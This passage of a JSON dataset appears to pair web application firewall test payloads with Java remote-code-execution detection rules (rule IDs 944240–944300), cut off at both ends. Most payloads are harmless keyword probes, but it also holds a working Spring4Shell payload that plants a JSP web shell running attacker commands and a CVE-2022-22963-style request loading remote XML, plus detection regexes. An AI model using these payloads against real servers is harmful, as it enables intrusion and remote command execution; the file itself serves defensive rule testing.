"name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:clonetransformer|forclosure|instantiatefactory|instantiatetransformer|invokertransformer|prototypeclonefactory|prototypeserializationfactory|whileclosure|getproperty|filewriter|xmldecoder)", "negated": false } }, "transformations": [ "none", "lowercase" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944240", "test_description": "XML element value includes keyword runtime.whileclosure" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "<?xml version=\"1.0\"?><xml><l1><l2><l3><element attribute_name=\"attribute_value\">runtime.whileclosure</element></l3></l2></l1></xml>" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:clonetransformer|forclosure|instantiatefactory|instantiatetransformer|invokertransformer|prototypeclonefactory|prototypeserializationfactory|whileclosure|getproperty|filewriter|xmldecoder)", "negated": false } }, "transformations": [ "none", "lowercase" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944240", "test_description": "Nested XML element value includes keyword runtime.whileclosure" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "test=runtime.whileclosure" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:clonetransformer|forclosure|instantiatefactory|instantiatetransformer|invokertransformer|prototypeclonefactory|prototypeserializationfactory|whileclosure|getproperty|filewriter|xmldecoder)", "negated": false } }, "transformations": [ "none", "lowercase" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944240", "test_description": "Content-Type text/plain includes keyword runtime.whileclosure" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "{\"test\": \"runtime.whileclosure\"}" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:clonetransformer|forclosure|instantiatefactory|instantiatetransformer|invokertransformer|prototypeclonefactory|prototypeserializationfactory|whileclosure|getproperty|filewriter|xmldecoder)", "negated": false } }, "transformations": [ "none", "lowercase" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944240", "test_description": "Content-Type application/json arg value includes keyword runtime.whileclosure" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "{\"runtime.whileclosure\": \"test\"}" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:clonetransformer|forclosure|instantiatefactory|instantiatetransformer|invokertransformer|prototypeclonefactory|prototypeserializationfactory|whileclosure|getproperty|filewriter|xmldecoder)", "negated": false } }, "transformations": [ "none", "lowercase" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944240", "test_description": "Content-Type application/json arg name includes keyword runtime.whileclosure" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "test=java.evil.runtime" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "java\\b.+(?:runtime|processbuilder)", "negated": false } }, "transformations": [ "lowercase" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944250", "test_description": "Argument test includes keyword java.evil.runtime" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "java.evil.runtime=test" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "java\\b.+(?:runtime|processbuilder)", "negated": false } }, "transformations": [ "lowercase" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944250", "test_description": "Argument name includes keyword java.evil.runtime" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "test=value" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "java\\b.+(?:runtime|processbuilder)", "negated": false } }, "transformations": [ "lowercase" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944250", "test_description": "Cookie test includes keyword java.evil.runtime" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "test=value" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "java\\b.+(?:runtime|processbuilder)", "negated": false } }, "transformations": [ "lowercase" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944250", "test_description": "Cookie name includes keyword java.evil.runtime" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "test=value" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "java\\b.+(?:runtime|processbuilder)", "negated": false } }, "transformations": [ "lowercase" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944250", "test_description": "Request header test includes keyword java.evil.runtime" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "<?xml version=\"1.0\"?><xml><element attribute_name=\"java.evil.runtime\">element_value</element></xml>" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "java\\b.+(?:runtime|processbuilder)", "negated": false } }, "transformations": [ "lowercase" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944250", "test_description": "XML attribute value includes keyword java.evil.runtime" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "<?xml version=\"1.0\"?><xml><element attribute_name=\"attribute_value\">java.evil.runtime</element></xml>" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "java\\b.+(?:runtime|processbuilder)", "negated": false } }, "transformations": [ "lowercase" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944250", "test_description": "XML element value includes keyword java.evil.runtime" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "<?xml version=\"1.0\"?><xml><l1><l2><l3><element attribute_name=\"attribute_value\">java.evil.runtime</element></l3></l2></l1></xml>" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "java\\b.+(?:runtime|processbuilder)", "negated": false } }, "transformations": [ "lowercase" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944250", "test_description": "Nested XML element value includes keyword java.evil.runtime" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "test=java.evil.runtime" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "java\\b.+(?:runtime|processbuilder)", "negated": false } }, "transformations": [ "lowercase" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944250", "test_description": "Content-Type text/plain includes keyword java.evil.runtime" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "{\"test\": \"java.evil.runtime\"}" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "java\\b.+(?:runtime|processbuilder)", "negated": false } }, "transformations": [ "lowercase" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944250", "test_description": "Content-Type application/json arg value includes keyword java.evil.runtime" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "{\"java.evil.runtime\": \"test\"}" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "java\\b.+(?:runtime|processbuilder)", "negated": false } }, "transformations": [ "lowercase" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944250", "test_description": "Content-Type application/json arg name includes keyword java.evil.runtime" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "test=java.evil.processbuilder" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "java\\b.+(?:runtime|processbuilder)", "negated": false } }, "transformations": [ "lowercase" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944250", "test_description": "Argument test includes keyword java.evil.processbuilder" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "java.evil.processbuilder=test" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "java\\b.+(?:runtime|processbuilder)", "negated": false } }, "transformations": [ "lowercase" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944250", "test_description": "Argument name includes keyword java.evil.processbuilder" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "test=value" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "java\\b.+(?:runtime|processbuilder)", "negated": false } }, "transformations": [ "lowercase" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944250", "test_description": "Cookie test includes keyword java.evil.processbuilder" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "test=value" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "java\\b.+(?:runtime|processbuilder)", "negated": false } }, "transformations": [ "lowercase" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944250", "test_description": "Cookie name includes keyword java.evil.processbuilder" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "test=value" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "java\\b.+(?:runtime|processbuilder)", "negated": false } }, "transformations": [ "lowercase" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944250", "test_description": "Request header test includes keyword java.evil.processbuilder" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "<?xml version=\"1.0\"?><xml><element attribute_name=\"java.evil.processbuilder\">element_value</element></xml>" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "java\\b.+(?:runtime|processbuilder)", "negated": false } }, "transformations": [ "lowercase" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944250", "test_description": "XML attribute value includes keyword java.evil.processbuilder" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "<?xml version=\"1.0\"?><xml><element attribute_name=\"attribute_value\">java.evil.processbuilder</element></xml>" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "java\\b.+(?:runtime|processbuilder)", "negated": false } }, "transformations": [ "lowercase" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944250", "test_description": "XML element value includes keyword java.evil.processbuilder" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "<?xml version=\"1.0\"?><xml><l1><l2><l3><element attribute_name=\"attribute_value\">java.evil.processbuilder</element></l3></l2></l1></xml>" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "java\\b.+(?:runtime|processbuilder)", "negated": false } }, "transformations": [ "lowercase" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944250", "test_description": "Nested XML element value includes keyword java.evil.processbuilder" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "test=java.evil.processbuilder" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "java\\b.+(?:runtime|processbuilder)", "negated": false } }, "transformations": [ "lowercase" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944250", "test_description": "Content-Type text/plain includes keyword java.evil.processbuilder" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "{\"test\": \"java.evil.processbuilder\"}" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "java\\b.+(?:runtime|processbuilder)", "negated": false } }, "transformations": [ "lowercase" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944250", "test_description": "Content-Type application/json arg value includes keyword java.evil.processbuilder" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "{\"java.evil.processbuilder\": \"test\"}" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "java\\b.+(?:runtime|processbuilder)", "negated": false } }, "transformations": [ "lowercase" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944250", "test_description": "Content-Type application/json arg name includes keyword java.evil.processbuilder" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext('http://127.1.2.3/wb.xml')" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:class\\.module\\.classLoader\\.resources\\.context\\.parent\\.pipeline|springframework\\.context\\.support\\.FileSystemXmlApplicationContext)", "negated": false } }, "transformations": [ "urlDecodeUni" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944260", "test_description": "CVE-2022-22963" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di%20if(%22j%22.equals(request.getParameter(%22pwd%22)))%7B%20java.io.InputStream%20in%20%3D%20%25%7Bc1%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%7D%20%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=tomcatwar&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:class\\.module\\.classLoader\\.resources\\.context\\.parent\\.pipeline|springframework\\.context\\.support\\.FileSystemXmlApplicationContext)", "negated": false } }, "transformations": [ "urlDecodeUni" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944260", "test_description": "Spring Framework RCE" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "test=cnVudGltZQ" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:cnVudGltZQ|HJ1bnRpbWU|BydW50aW1l|cHJvY2Vzc2J1aWxkZXI|HByb2Nlc3NidWlsZGVy|Bwcm9jZXNzYnVpbGRlcg|Y2xvbmV0cmFuc2Zvcm1lcg|GNsb25ldHJhbnNmb3JtZXI|BjbG9uZXRyYW5zZm9ybWVy|Zm9yY2xvc3VyZQ|GZvcmNsb3N1cmU|Bmb3JjbG9zdXJl|aW5zdGFudGlhdGVmYWN0b3J5|Gluc3RhbnRpYXRlZmFjdG9yeQ|BpbnN0YW50aWF0ZWZhY3Rvcnk|aW5zdGFudGlhdGV0cmFuc2Zvcm1lcg|Gluc3RhbnRpYXRldHJhbnNmb3JtZXI|BpbnN0YW50aWF0ZXRyYW5zZm9ybWVy|aW52b2tlcnRyYW5zZm9ybWVy|Gludm9rZXJ0cmFuc2Zvcm1lcg|BpbnZva2VydHJhbnNmb3JtZXI|cHJvdG90eXBlY2xvbmVmYWN0b3J5|HByb3RvdHlwZWNsb25lZmFjdG9yeQ|Bwcm90b3R5cGVjbG9uZWZhY3Rvcnk|cHJvdG90eXBlc2VyaWFsaXphdGlvbmZhY3Rvcnk|HByb3RvdHlwZXNlcmlhbGl6YXRpb25mYWN0b3J5|Bwcm90b3R5cGVzZXJpYWxpemF0aW9uZmFjdG9yeQ|d2hpbGVjbG9zdXJl|HdoaWxlY2xvc3VyZQ|B3aGlsZWNsb3N1cmU)", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944300", "test_description": "Argument test includes keyword cnVudGltZQ" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "cnVudGltZQ=test" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": 